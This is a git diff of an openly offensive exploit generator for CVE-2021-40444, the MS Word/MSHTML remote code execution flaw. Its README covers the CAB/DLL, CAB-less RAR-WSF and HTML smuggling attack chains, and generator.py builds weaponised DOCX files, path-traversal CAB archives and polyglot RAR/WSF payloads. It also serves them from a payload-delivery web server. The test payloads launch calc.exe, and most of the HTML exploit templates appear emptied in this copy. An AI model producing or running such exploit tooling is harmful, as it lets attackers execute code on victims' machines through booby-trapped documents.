diff --git a/.gitignore b/.gitignore index b933f0a..351121a 100644 --- a/.gitignore +++ b/.gitignore @@ -1,9 +1,8 @@ venv out -test srv .idea __pycache__ -template/sample4-nw.html !srv/index.html setup* +*.7z diff --git a/README.md b/README.md index 8f86197..e541f46 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,11 @@ There are quite a bit of overlooked requirements for this exploit to work, which Maybe nobody explicitly "released" them to avoid the vulnerability to be exploited more. But now it's patched, so it should not cause a lot of troubles to release the details. +#### HTML File + +As for this [tweet](https://twitter.com/wdormann/status/1440036541112328199) by [Will Dormann](https://twitter.com/wdormann), +the HTML should be at least 4096 bytes in size in order to trigger the "Preview" within MS Word. + #### CAB File The CAB file needs to be byte-patched to avoid extraction errors and to achieve the ZipSlip: @@ -67,6 +72,62 @@ on this. Up to the curious reader to develop this further. **NOTE2**: Microsoft Patch blocks arbitrary URI schemes, apparently using a blacklist approach (this is just a supposition) +# DLL Attack + +The main attack chain associated with CVE-2021-40444 is the DLL attack loaded via the `.cpl` URI scheme. In order to +exploit that, an attacker needs to generate a specially crafted DLL. If you want to test it out, try my [evildll-gen](https://gist.github.com/klezVirus/e24c94d7061f5736e2452eee022f4011) +script. + +# JScript, VBScript, Javaw, MSIexec, ... + +As noted by [Max Maluin](https://twitter.com/Max_Mal_), it is possible to interact with several filetypes abusing IE and +the associated file extension based URI. While this is might be a good way to exploit IE, it has limitations. + +Indeed, irtshould be noted that the method used in the exploit to download files is based on ActiveX control updates, +and cannot be used to download arbitrary files. +As per Microsoft [documentation](https://docs.microsoft.com/it-it/cpp/mfc/upgrading-an-existing-activex-control?view=msvc-160), the `codebase` tag +can point just to a few filetypes: OCX, INF and CAB. + +Even if we can directly download an OCX or INF file, we still can't be sure to download the file in the right location +within the system. With the cab exploit, it is possible to move the `.inf` file in a well-known path using the path traversal, +but in any other case the file will be stored in a random directory, making it virtually impossible to reference it. + +As of today, I didn't find a way to chain download and execution WITHOUT a CAB file. + +Note: Talking about IE alone, HTML smuggling could be a possible scenario to exploit the vulnerability. + +# Cab-less file attack using hybrid RAR file + +This technique was firstly disclosed by [Eduardo Braun](https://twitter.com/Edu_Braun_0day) on Twitter and further explained in [this](https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/MS_Windows_CVE-2021-40444%20-%20'Ext2Prot'%20Vulnerability%20'CABless'%20version.pdf) paper. + +Please note that using this technique, the attack chain is a bit different. This attack requires the user to download +a specially crafted RAR file, obtained by chaining a valid WSF script and a valid RAR file. Once opened, the RAR will contain +a DOCX with a reference to an HTML, which in turn will try to load the RAR file as a WSF script. + +To summarise: + +1. Specially crafted RAR file is downloaded (likely Download folder) +2. DOCX extracted and opened +3. Relationship stored in document.xml.rels points to malicious html +4. IE preview is launched to open the HTML link +5. JScript within the HTML contains a script/iframe pointing to the RAR file, prefixed with the ".wsf:" URI scheme +6. As the RAR was designed to be contemporaneously a valid RAR and a valid WSF script, the script is executed + +# What are the exploits PoC implemented by the tool + +The generator utility can currently reproduce the following attacks: + +| Attack | HTML Templates | Target | Delivery Method | Execution Method | Working | +|-------------------------------------------|---------------------|--------|-----------------|------------------|-----------------| +| Original version of the attack | cab-orig-* | WORD | DOCX | CAB + DLL | YES | +| j00sean IE-only attack | cab-orig-j00san | IE | HTML | CAB + DLL | YES | +| My version without DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 | +| Eduardo B. "CABless" attack using RAR | cabless-rar-* | WORD | RAR | WSF | YES | +| Modified j00sean attack + HTML smuggling | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 | + +_1The CAB is not downloaded properly in some environments_ +_2The user needs to click on "Save" to download the file on IE_ + # CAB file parser The utility `cab_parser.py` can be used to see the headers of the exploit file, but don't consider this a full @@ -97,10 +158,12 @@ pip install -r requirements # Usage -The generator is trivial to use, and has been tested with a number of different DLL payloads. +The generator is trivial to use, and even if it has been tested with a number of different payloads and Windows +versions, it is not fail-proof. I'm encountering different behaviours across different Windows builds. As soon as +I have more details to share, I'll post them here. ``` -usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-p LPORT] [-c COPY_TO] +usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t] [%] CVE-2021-40444 - MS Office Word RCE Exploit [%] @@ -112,14 +175,38 @@ optional arguments: -o OUTPUT, --output OUTPUT Output files basename (no extension) --host If set, will host the payload after creation - -p LPORT, --lport LPORT - Port to use when hosting malicious payload -c COPY_TO, --copy-to COPY_TO Copy payload to an alternate path + -nc, --no-cab Use the CAB-less version of the exploit + -t, --test Open IExplorer to test the final HTML file +``` + +# Example + +* Generate the original exploit and test it locally + +``` +python generator.py -u http://127.0.0.1 -P test\calc.dll --host +``` +_Note: the port is selected by the URL, and the exploit is generated basing on the payload file extension_ + +* Generate the CABless exploit with RAR and test it locally via IE + +``` +python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t +``` + +* Generate the CABless exploit (IE-only) with HTML smuggling and test it locally via IE + +``` +python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t ``` # Credits * [RET2_pwn](https://twitter.com/RET2_pwn) for the amazing blog * [j00sean](https://twitter.com/j00sean) for the good hints -* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc \ No newline at end of file +* [lockedbyte](https://github.com/lockedbyte/CVE-2021-40444) for the first decent poc +* [Max_Mal](https://twitter.com/Max_Mal) for the hint on the alternate URI schemes +* [wdormann](https://twitter.com/wdormann) for the hint on the HTML file size restrictions +* [Edu_Braun_0day](https://twitter.com/Edu_Braun_0day) for the cool CAB-less version of the exploit diff --git a/bin/Rar.exe b/bin/Rar.exe new file mode 100644 index 0000000..eef9842 Binary files /dev/null and b/bin/Rar.exe differ diff --git a/bin/RarExt.dll b/bin/RarExt.dll new file mode 100644 index 0000000..db2b41c Binary files /dev/null and b/bin/RarExt.dll differ diff --git a/bin/RarExt32.dll b/bin/RarExt32.dll new file mode 100644 index 0000000..64b9ed8 Binary files /dev/null and b/bin/RarExt32.dll differ diff --git a/clean.bat b/clean.bat new file mode 100644 index 0000000..e430137 --- /dev/null +++ b/clean.bat @@ -0,0 +1,8 @@ +@echo off + +del /F /Q "setup.inf" +del /F /Q "setup.rpt" +del /F /Q "out\*" +del /F /Q "data\*.dll" +del /F /Q "srv\*" +xcopy /Y /Q "template\index.html" "srv\" diff --git a/generator.py b/generator.py index 0e1b9c3..bd3a48c 100644 --- a/generator.py +++ b/generator.py @@ -4,17 +4,22 @@ # Result is ability for attackers to execute arbitrary custom DLL's # downloaded and executed on target system import argparse +import base64 import binascii import random import re +import secrets import shutil import string import struct import sys import os import subprocess +import tempfile +import time import traceback from pathlib import Path + from cab_parser import Cab from in_place import InPlace @@ -77,7 +82,103 @@ def execute_cmd(cmd, execute_from=None): exit(1) -def generate_payload(payload, server_url, basename, copy_to=None): +def patch_rar(rar_file, script: bytes): + # JS downloader string + downloader = bytearray(script) + # Appending null byte + # downloader.append(0) + content = bytearray(open(rar_file, "rb").read()) + content = bytes(downloader + content) + with open(rar_file, "wb") as rar: + rar.write(content) + + +def rar(file: Path, rar_file, delete=False): + try: + output = subprocess.check_output( + f"bin\\rar.exe a -ep \"{rar_file}\" \"{str(file)}\"", + stderr=subprocess.STDOUT, + shell=True + ) + if delete: + file.unlink(missing_ok=True) + except subprocess.CalledProcessError: + print("[-] Error generating RAR archive") + exit(1) + + +def make_rar(rar_file): + file_name = None + with tempfile.NamedTemporaryFile( + suffix=".txt", + delete=False, + mode="w" + ) as txt_file: + txt_file.write("You've been pwnd!") + file_name = Path(txt_file.name).absolute() + + rar(file_name, rar_file, delete=True) + + +def choose_template(templates: list): + try: + print("[*] Multiple compatible templates identified, choose one:") + choice = -1 + for n, t in enumerate(templates, start=0): + print(f" {n}: {t}") + while not 0 <= choice <= len(templates) - 1: + try: + choice = int(input(" $> ")) + except ValueError: + continue + return templates[choice] + except KeyboardInterrupt: + print("[-] Aborting") + sys.exit(1) + + +def append_garbage(content: str, exploit: str): + eol = '\n' + garbage = "" + filler = "A" * 80000 + if exploit == ".vbs": + eol = '" _ \n & "' + garbage = rf""" +Dim Garbage +Garbage = "{eol.join([filler[i:i + 100] for i in range(0, len(filler), 100)])}"; + """ + elif exploit == ".js": + garbage = f"var x = '';{eol}" + eol.join([f"x = '{filler[i:i + 100]}';" for i in range(0, len(filler), 100)]) + elif exploit in [".wsf", ".hta"]: + garbage = f"{eol}" + return content + garbage + + +def get_file_extension_based_uri(exploit, no_cab=False): + if exploit == ".dll": + return ".cpl" + elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"] and no_cab: + return exploit + elif exploit in [".hta", ".js", ".vbs", ".wsf", ".hta"]: + return ".wsf" + + +def get_mime_type(exploit): + if exploit == ".dll": + return "application/octet-stream" + elif exploit == ".hta": + return "application/hta" + elif exploit == ".js": + return "text/javascript" + elif exploit == ".vbs": + return "text/vbscript" + elif exploit == ".wsh": + return "text/plain" + elif exploit == ".wsf": + return "text/xml" + + +def generate_payload(payload, server_url, basename, copy_to=None, no_cab=False): # Current Working Directory working_directory = Path(__file__).parent @@ -94,9 +195,34 @@ def generate_payload(payload, server_url, basename, copy_to=None): word_dll = data_path.joinpath(f'{basename}.dll') word_doc = out_path.joinpath('document.docx') ddf = data_path.joinpath('mswordcab.ddf') - cab_file = out_path.joinpath(f"{basename}.cab") - inf_file = cab_path.joinpath(f"{basename}.inf") - html_template_file = template_path.joinpath("sample3.html") + archive_file = out_path.joinpath(f"{basename}.cab") + rar_file = out_path.joinpath(f"{basename}.rar") + exploit_file = cab_path.joinpath(f"{basename}.inf") + + exploit = os.path.splitext(args.payload)[1] + + if no_cab and exploit != ".wsf": + print("[-] CAB-less version chosen, only .wsf is currently working") + exit(1) + + lolbin = exploit not in [".dll"] + + if exploit == ".wsf" and no_cab: + id = "cabless-rar-" + elif lolbin and no_cab: + id = "cabless-smuggling-" + elif lolbin: + id = "cab-uri-" + else: + id = "cab-orig-" + + script_file = None + templates = [ + f for f in os.listdir(str(template_path)) + if os.path.isfile(os.path.join(str(template_path), f)) + and f.find(id) > -1 + ] + html_template_file = template_path.joinpath(choose_template(templates)) html_final_file = srv_path.joinpath(f"{basename}.html") # Checking ephemeral directories @@ -106,25 +232,44 @@ def generate_payload(payload, server_url, basename, copy_to=None): out_path.mkdir(exist_ok=True) print(f' [>] Payload: {payload}') - print(f' [>] HTML/CAB Hosting Server: {server_url}') + print(f' [>] HTML/CAB/JS Hosting Server: {server_url}') + b64_payload = None + payload_content = None try: - payload_content = open(payload, 'rb').read() + if exploit != ".dll" and no_cab: + payload_content = open(payload, 'r').read().strip().encode() + elif exploit != ".dll": + payload_content = "\x5a\x4d" + open(payload, 'r').read().strip() + payload_content = append_garbage(payload_content, exploit) + payload_content = payload_content.encode() + else: + payload_content = open(payload, 'rb').read() with open(str(word_dll), 'wb') as filep: filep.write(payload_content) + b64_payload = base64.b64encode(payload_content).decode() except FileNotFoundError: - print('[-] DLL Payload specified not found!') + print('[-] Payload specified not found!') exit(1) except Exception as e: print(f"[-] Exception: {e}") exit(1) + if lolbin and no_cab: + tmp = Path(exploit_file.parent).joinpath(basename + get_file_extension_based_uri(exploit)) + exploit_file.unlink(missing_ok=True) + exploit_file = Path(tmp) + with open(str(exploit_file), "w") as out: + out.write(payload_content.decode()) + print(f"[*] Exposing script file {exploit_file.name} to the webserver for download") + shutil.copy(str(exploit_file), str(srv_path)) + shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True) - print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...') + print('[*] Crafting Relationships to point to HTML/CAB/JS Hosting Server...') with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels: xml_content = rels.read() xml_content = xml_content.replace('', f'{server_url}/{html_final_file.name}') - xml_content = xml_content.replace('', inf_file.name) + # xml_content = xml_content.replace('', inf_file.name) rels.write(xml_content) print('[*] Packing MS Word .docx file...') @@ -133,18 +278,19 @@ def generate_payload(payload, server_url, basename, copy_to=None): shutil.move(str(word_doc) + ".zip", str(word_doc)) shutil.rmtree(str(tmp_path)) - print('[*] Generating CAB file...') - make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file) - shutil.move(word_dll, inf_file) + if not no_cab: + print('[*] Generating CAB file...') + make_ddf(ddf_file=ddf, cab_file=archive_file, inf_file=exploit_file) + shutil.move(word_dll, exploit_file) - execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory)) - patched_path = f'../{inf_file.name}'.encode() - patch_cab(cab_file, str(inf_file.name).encode(), patched_path) - shutil.copy(cab_file, srv_path) - shutil.copy(ddf, srv_path) + execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory)) + patched_path = f'../{exploit_file.name}'.encode() + patch_cab(archive_file, str(exploit_file.name).encode(), patched_path) + shutil.copy(archive_file, srv_path) + shutil.copy(ddf, srv_path) word_dll.unlink(missing_ok=True) - inf_file.unlink(missing_ok=True) + exploit_file.unlink(missing_ok=True) ddf.unlink(missing_ok=True) shutil.rmtree(str(cab_path.absolute())) @@ -156,25 +302,55 @@ def generate_payload(payload, server_url, basename, copy_to=None): dest.unlink(missing_ok=True) shutil.copy(str(word_doc.absolute()), dest) - if copy_to and os.path.isdir(copy_to): + if copy_to and os.path.isdir(copy_to) and not no_cab: print(f'[*] Copying malicious cab to {copy_to} for analysis...') - dest = Path(copy_to).joinpath(cab_file.name) + dest = Path(copy_to).joinpath(archive_file.name) dest.unlink(missing_ok=True) - shutil.copy(str(cab_file.absolute()), dest) - print(f' [>] CAB file stored at: {cab_file}') + shutil.copy(str(archive_file.absolute()), dest) + print(f' [>] CAB file stored at: {archive_file}') with InPlace(str(html_final_file)) as p_exp: content = p_exp.read() - content = content.replace('', f"{server_url}/{cab_file.name}") - content = content.replace('', f"{inf_file.name}") + content = content.replace('', f"{server_url}/{archive_file.name}") + content = content.replace('', f"{exploit_file.name}") + content = content.replace('', f"{rar_file.name}") + content = content.replace('', get_file_extension_based_uri(exploit)) + content = content.replace('', b64_payload) + content = content.replace('', get_mime_type(exploit)) + content = content.replace('', get_file_extension_based_uri(exploit)[1]) + content = content.replace('', get_file_extension_based_uri(exploit)[2]) + content = content.replace('', get_file_extension_based_uri(exploit)[3]) p_exp.write(content) print(f'[+] Success! MS Word Document stored at: {word_doc}') + if exploit == ".wsf" and no_cab: + print(f"[*] Generating RAR file {rar_file.name}... and pushing it to 'Downloads', to emulate user download") + rar_dest = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath(rar_file.name) + wsf_file = Path(os.getenv("USERPROFILE")).joinpath("Downloads").joinpath("test.wsf") + rar(word_doc, rar_dest, delete=False) + patch_rar(rar_file=rar_dest, script=payload_content) + shutil.copy(str(rar_dest), str(srv_path)) + shutil.copy(str(rar_dest), str(wsf_file)) + + return html_final_file.name + def start_server(lport, directory: Path): + this = Path(__file__).parent.joinpath("util").joinpath("server.py") subprocess.Popen( - f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}', + f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python "{this.absolute()}" localhost {lport}', + shell=True, + close_fds=True, + stderr=subprocess.DEVNULL, + stdout=subprocess.DEVNULL, + creationflags=subprocess.DETACHED_PROCESS + ) + + +def start_client(url): + subprocess.Popen( + f'"C:\\Program Files\\Internet Explorer\\iexplore.exe" "{url}"', shell=True, close_fds=True, stderr=subprocess.DEVNULL, @@ -209,20 +385,53 @@ if __name__ == '__main__': help="Output files basename (no extension)") parser.add_argument('--host', action='store_true', default=False, required=False, help="If set, will host the payload after creation") - parser.add_argument('-p', '--lport', type=int, default=8080, required=False, - help="Port to use when hosting malicious payload") parser.add_argument('-c', '--copy-to', type=str, default=None, required=False, help="Copy payload to an alternate path") + parser.add_argument('-nc', '--no-cab', action='store_true', default=False, required=False, + help="Use the CAB-less version of the exploit") + parser.add_argument('-t', '--test', action='store_true', default=False, required=False, + help="Open IExplorer to test the final HTML file") args = parser.parse_args() filename = validate_filename(args.output) print('[*] Generating a malicious payload...') + html = None + server = args.url + + port = 80 + try: + scheme, ip = server.split(":")[0], server.replace("//", "/").split("/")[1] + if scheme == "http": + port = 80 + elif scheme == "https": + port = 443 + else: + raise NotImplemented(f"Scheme {scheme} is not supported") + if len(server.split(":")) > 2: + port = int(server.split(":")[2].split("/")[0]) + except NotImplemented as e: + print(f"[-] {e}") + exit(1) + except (ValueError, KeyError, IndexError): + print("[-] Wrong URL format") + exit(1) + try: - generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to) + html = generate_payload(payload=args.payload, server_url=server, basename=filename, copy_to=args.copy_to, + no_cab=args.no_cab) + except (SystemExit, KeyboardInterrupt): + exit(1) except: traceback.print_exc() - if args.host: - print('[*] Hosting HTML Exploit...') - start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv")) + exit(1) + if args.host and html: + print(f'[*] Hosting HTML Exploit at {args.url}:{port}/{html}...') + start_server(lport=port, directory=Path(__file__).parent.joinpath("srv")) + if args.test: + if os.path.splitext(args.payload)[1] != ".wsf": + print(f"[-] IE testing might not compatible with {os.path.splitext(args.payload)[1]}") + print(f'[*] Opening IE at {args.url}/{html}...') + time.sleep(3) + start_client(f"{args.url}/{html}") diff --git a/template/sample2.html b/template/cab-orig-debobfuscated1.html similarity index 100% rename from template/sample2.html rename to template/cab-orig-debobfuscated1.html diff --git a/template/sample3.html b/template/cab-orig-debobfuscated2.html similarity index 77% rename from template/sample3.html rename to template/cab-orig-debobfuscated2.html index ae0e333..831da61 100644 --- a/template/sample3.html +++ b/template/cab-orig-debobfuscated2.html @@ -105,39 +105,39 @@ function getValue(totalExpectedResults, entrySelector) { s["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217"); PL$22["call"](view["Script"]["document"]["body"], s); /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":123"; + iedom["Script"]["location"] = ".cpl" + ":123"; /** @type {string} */ - iedom["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/Low/"; + iedom["Script"]["location"] = ".cpl" + ":../../../AppData/Local/Temp/Low/"; /** @type {string} */ - rp_test["Script"]["location"] = "." + _ + colname + i + ":../../../AppData/Local/Temp/"; + rp_test["Script"]["location"] = ".cpl" + ":../../../AppData/Local/Temp/"; /** @type {string} */ - htmlfile["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/Low/"; + htmlfile["Script"]["location"] = ".cpl" + ":../../../../AppData/Local/Temp/Low/"; /** @type {string} */ - fake["Script"]["location"] = "." + _ + colname + i + ":../../../../AppData/Local/Temp/"; + fake["Script"]["location"] = ".cpl" + ":../../../../AppData/Local/Temp/"; /** @type {string} */ - doc["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/Low/"; + doc["Script"]["location"] = ".cpl" + ":../../../../../Temp/Low/"; /** @type {string} */ - fake["Script"]["location"] = "." + _ + colname + i + ":../../../../../Temp/"; + fake["Script"]["location"] = ".cpl" + ":../../../../../Temp/"; /** @type {string} */ - fake["Script"]["location"] = "." + _ + colname + i + ":../../Low/"; + fake["Script"]["location"] = ".cpl" + ":../../Low/"; /** @type {string} */ - fake["Script"]["location"] = "." + _ + colname + i + ":../../"; + fake["Script"]["location"] = ".cpl" + ":../../"; }(); diff --git a/template/cab-orig-j00sean.html b/template/cab-orig-j00sean.html new file mode 100644 index 0000000..0c6b52d --- /dev/null +++ b/template/cab-orig-j00sean.html @@ -0,0 +1,79 @@ + + + + + + + CVE-2021-40444 + + + + + + \ No newline at end of file diff --git a/template/original.html b/template/cab-orig-obfuscated.html similarity index 100% rename from template/original.html rename to template/cab-orig-obfuscated.html diff --git a/template/cab-uri-debobfuscated1.html b/template/cab-uri-debobfuscated1.html new file mode 100644 index 0000000..4b5d4bc --- /dev/null +++ b/template/cab-uri-debobfuscated1.html @@ -0,0 +1,69 @@ + + + + + + + + + + diff --git a/template/cab-uri-debobfuscated2.html b/template/cab-uri-debobfuscated2.html new file mode 100644 index 0000000..fbcfd64 --- /dev/null +++ b/template/cab-uri-debobfuscated2.html @@ -0,0 +1,146 @@ + + + + + + + CVE-2021-40444 + + + + + + \ No newline at end of file diff --git a/template/cab-uri-obfuscated.html b/template/cab-uri-obfuscated.html new file mode 100644 index 0000000..4892d91 --- /dev/null +++ b/template/cab-uri-obfuscated.html @@ -0,0 +1,3 @@ + diff --git a/template/cab-uri-sample1.html b/template/cab-uri-sample1.html new file mode 100644 index 0000000..4da26ef --- /dev/null +++ b/template/cab-uri-sample1.html @@ -0,0 +1,75 @@ + + + + + + + CVE-2021-40444 + + + + + + \ No newline at end of file diff --git a/template/cab-uri-test-obfuscated.html b/template/cab-uri-test-obfuscated.html new file mode 100644 index 0000000..b68ebac --- /dev/null +++ b/template/cab-uri-test-obfuscated.html @@ -0,0 +1,13 @@ + + + + + + + + + + diff --git a/template/cabless-rar-sample1.html b/template/cabless-rar-sample1.html new file mode 100644 index 0000000..7b15008 --- /dev/null +++ b/template/cabless-rar-sample1.html @@ -0,0 +1,68 @@ + + + + + CVE-2021-40444 (Cab-less) + + + + + + + \ No newline at end of file diff --git a/template/cabless-smuggling-sample1.html b/template/cabless-smuggling-sample1.html new file mode 100644 index 0000000..93346c6 --- /dev/null +++ b/template/cabless-smuggling-sample1.html @@ -0,0 +1,109 @@ + + + + + CVE-2021-40444 (Cab-less) + + + + + + + \ No newline at end of file diff --git a/template/index.html b/template/index.html new file mode 100644 index 0000000..eb0e7a0 --- /dev/null +++ b/template/index.html @@ -0,0 +1,376 @@ + + + + + + + Apache2 Ubuntu Default Page: It works + + + +
+ + +
+ + +
+
+ It works! +
+
+

+ This is the default welcome page used to test the correct + operation of the Apache2 server after installation on Ubuntu systems. + It is based on the equivalent page on Debian, from which the Ubuntu Apache + packaging is derived. + If you can read this page, it means that the Apache HTTP server installed at + this site is working properly. You should replace this file (located at + /var/www/html/index.html) before continuing to operate your HTTP server. +

+ + +

+ If you are a normal user of this web site and don't know what this page is + about, this probably means that the site is currently unavailable due to + maintenance. + If the problem persists, please contact the site's administrator. +

+ +
+
+
+ Configuration Overview +
+
+

+ Ubuntu's Apache2 default configuration is different from the + upstream default configuration, and split into several files optimized for + interaction with Ubuntu tools. The configuration system is + fully documented in + /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full + documentation. Documentation for the web server itself can be + found by accessing the manual if the apache2-doc + package was installed on this server. + +

+

+ The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows: +

+
+/etc/apache2/
+|-- apache2.conf
+|       `--  ports.conf
+|-- mods-enabled
+|       |-- *.load
+|       `-- *.conf
+|-- conf-enabled
+|       `-- *.conf
+|-- sites-enabled
+|       `-- *.conf
+          
+
    +
  • + apache2.conf is the main configuration + file. It puts the pieces together by including all remaining configuration + files when starting up the web server. +
  • + +
  • + ports.conf is always included from the + main configuration file. It is used to determine the listening ports for + incoming connections, and this file can be customized anytime. +
  • + +
  • + Configuration files in the mods-enabled/, + conf-enabled/ and sites-enabled/ directories contain + particular configuration snippets which manage modules, global configuration + fragments, or virtual host configurations, respectively. +
  • + +
  • + They are activated by symlinking available + configuration files from their respective + *-available/ counterparts. These should be managed + by using our helpers + + a2enmod, + a2dismod, + + + a2ensite, + a2dissite, + + and + + a2enconf, + a2disconf + . See their respective man pages for detailed information. +
  • + +
  • + The binary is called apache2. Due to the use of + environment variables, in the default configuration, apache2 needs to be + started/stopped with /etc/init.d/apache2 or apache2ctl. + Calling /usr/bin/apache2 directly will not work with the + default configuration. +
  • +
+
+ +
+
+ Document Roots +
+ +
+

+ By default, Ubuntu does not allow access through the web browser to + any file apart of those located in /var/www, + public_html + directories (when enabled) and /usr/share (for web + applications). If your site is using a web document root + located elsewhere (such as in /srv) you may need to whitelist your + document root directory in /etc/apache2/apache2.conf. +

+

+ The default Ubuntu document root is /var/www/html. You + can make your own virtual hosts under /var/www. This is different + to previous releases which provides better security out of the box. +

+
+ +
+
+ Reporting Problems +
+
+

+ Please use the ubuntu-bug tool to report bugs in the + Apache2 package with Ubuntu. However, check existing bug reports before reporting a new bug. +

+

+ Please report bugs specific to modules (such as PHP and others) + to respective packages, not to the web server itself. +

+
+ + + + +
+
+
+
+ + + + diff --git a/data/NK36QZW9A0TY.dll b/test/calc.dll similarity index 76% rename from data/NK36QZW9A0TY.dll rename to test/calc.dll index a4b85c7..75124a3 100644 Binary files a/data/NK36QZW9A0TY.dll and b/test/calc.dll differ diff --git a/test/calc.hta b/test/calc.hta new file mode 100644 index 0000000..a0c12b7 --- /dev/null +++ b/test/calc.hta @@ -0,0 +1,11 @@ + \ No newline at end of file diff --git a/test/calc.js b/test/calc.js new file mode 100644 index 0000000..e7e3314 --- /dev/null +++ b/test/calc.js @@ -0,0 +1,6 @@ +function calc(){ + var x = new ActiveXObject("WScript.shell"); + x.Run("cmd /c calc"); +} + +calc(); \ No newline at end of file diff --git a/test/calc.vbs b/test/calc.vbs new file mode 100644 index 0000000..edaee17 --- /dev/null +++ b/test/calc.vbs @@ -0,0 +1,8 @@ +Function Calc() + Dim wsh + Set wsh = CreateObject("Wscript.Shell") + wsh.run "cmd /c calc.exe" + Set wsh = Nothing +End Function + +Calc diff --git a/test/job-jscript.wsf b/test/job-jscript.wsf new file mode 100644 index 0000000..abb03ca --- /dev/null +++ b/test/job-jscript.wsf @@ -0,0 +1 @@ + diff --git a/test/job-vbs.wsf b/test/job-vbs.wsf new file mode 100644 index 0000000..cb8733f --- /dev/null +++ b/test/job-vbs.wsf @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/test/test.js b/test/test.js new file mode 100644 index 0000000..2a18af0 --- /dev/null +++ b/test/test.js @@ -0,0 +1,2 @@ +var o = new ActiveXObject('htmlfile').Script.location='.wsf:../../../../../Users/d3adc0de.PCOIPTEST/Downloads/YK2TLVILEHG2.rar?.wsf'; +WScript.Echo(o); \ No newline at end of file diff --git a/util/server.py b/util/server.py new file mode 100644 index 0000000..4856040 --- /dev/null +++ b/util/server.py @@ -0,0 +1,51 @@ +import argparse +import sys +from builtins import Exception +from http.server import HTTPServer, SimpleHTTPRequestHandler + +from werkzeug.serving import ForkingMixIn + + +class CORSRequestHandler(SimpleHTTPRequestHandler): + def end_headers(self): + self.send_header('Access-Control-Allow-Origin', '*') + self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS') + self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate') + return super(CORSRequestHandler, self).end_headers() + + def do_OPTIONS(self): + self.do_GET() + + +class ForkingHTTPServer(ForkingMixIn, HTTPServer): + def finish_request(self, request, client_address): + try: + request.settimeout(15) + # "super" can not be used because BaseServer is not created from object + HTTPServer.finish_request(self, request, client_address) + except Exception as e: + print(f"[-] {e}") + + +class WebServer: + def __init__(self, ip, port): + self.ip = ip + self.port = port + + def start(self): + httpd = ForkingHTTPServer((f'{self.ip}', self.port), CORSRequestHandler) + try: + httpd.serve_forever() + except KeyboardInterrupt: + httpd.server_close() + exit(1) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description="Simple CORS Webserver") + parser.add_argument("ip", help="Listen address", type=str) + parser.add_argument("port", help="Listen port", type=int) + args = parser.parse_args() + + server = WebServer(ip=args.ip, port=args.port) + server.start()